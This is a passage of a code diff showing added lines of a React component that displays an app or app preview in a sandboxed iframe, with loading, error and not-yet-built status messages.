502
|
+
cbRef.current.onLoadFailure?.();
|
|
503
|
+
});
|
|
504
|
+
return () => {
|
|
505
|
+
cancelled = true;
|
|
506
|
+
};
|
|
507
|
+
}, [apiBase, reloadKey, frame, doFetch]);
|
|
508
|
+
|
|
509
|
+
const isViewport = frame === 'viewport';
|
|
510
|
+
return (
|
|
511
|
+
<div
|
|
512
|
+
className={
|
|
513
|
+
isViewport
|
|
514
|
+
? 'relative h-full w-full overflow-hidden bg-background'
|
|
515
|
+
: 'relative w-full overflow-hidden rounded-lg border border-border bg-background'
|
|
516
|
+
}
|
|
517
|
+
>
|
|
518
|
+
{status === 'nobuild' && (
|
|
519
|
+
<div
|
|
520
|
+
className={`flex items-center justify-center p-6 text-center text-sm text-muted-foreground ${isViewport ? 'h-full' : 'h-40'}`}
|
|
521
|
+
>
|
|
522
|
+
{isViewport
|
|
523
|
+
? 'This app isn’t available right now.'
|
|
524
|
+
: 'This app hasn’t been built yet. Ask Appsmith to build it, or run a build from the editor.'}
|
|
525
|
+
</div>
|
|
526
|
+
)}
|
|
527
|
+
{status === 'error' && (
|
|
528
|
+
<div
|
|
529
|
+
className={`flex items-center justify-center p-6 text-center text-sm text-destructive-ink ${isViewport ? 'h-full' : 'h-40'}`}
|
|
530
|
+
>
|
|
531
|
+
{isViewport ? 'Couldn’t load the app.' : 'Couldn’t load the app preview.'}
|
|
532
|
+
</div>
|
|
533
|
+
)}
|
|
534
|
+
<iframe
|
|
535
|
+
ref={iframeRef}
|
|
536
|
+
title={isViewport ? 'App' : 'App preview'}
|
|
537
|
+
sandbox="allow-scripts"
|
|
538
|
+
className={
|
|
539
|
+
status === 'ready' ? (isViewport ? 'block h-full w-full' : 'block w-full') : 'hidden'
|
|
540
|
+
}
|
|
541
|
+
style={isViewport ? { border: '0' } : { height, border: '0', width: '100%' }}
|
|
542
|
+
/>
|
|
543
|
+
{status === 'loading' && (
|
|
544
|
+
<div
|
|
545
|
+
className={`flex items-center justify-center p-6 text-sm text-muted-foreground ${isViewport ? 'h-full' : 'h-40'}`}
|
|
546
|
+
>
|
|
547
|
+
{isViewport ? 'Loading…' : 'Loading preview…'}
|
|
548
|
+
</div>
|
|
549
|
+
)}
|
|
550
|
+
</div>
|
|
551
|
+
);
|
|
552
|
+
}
|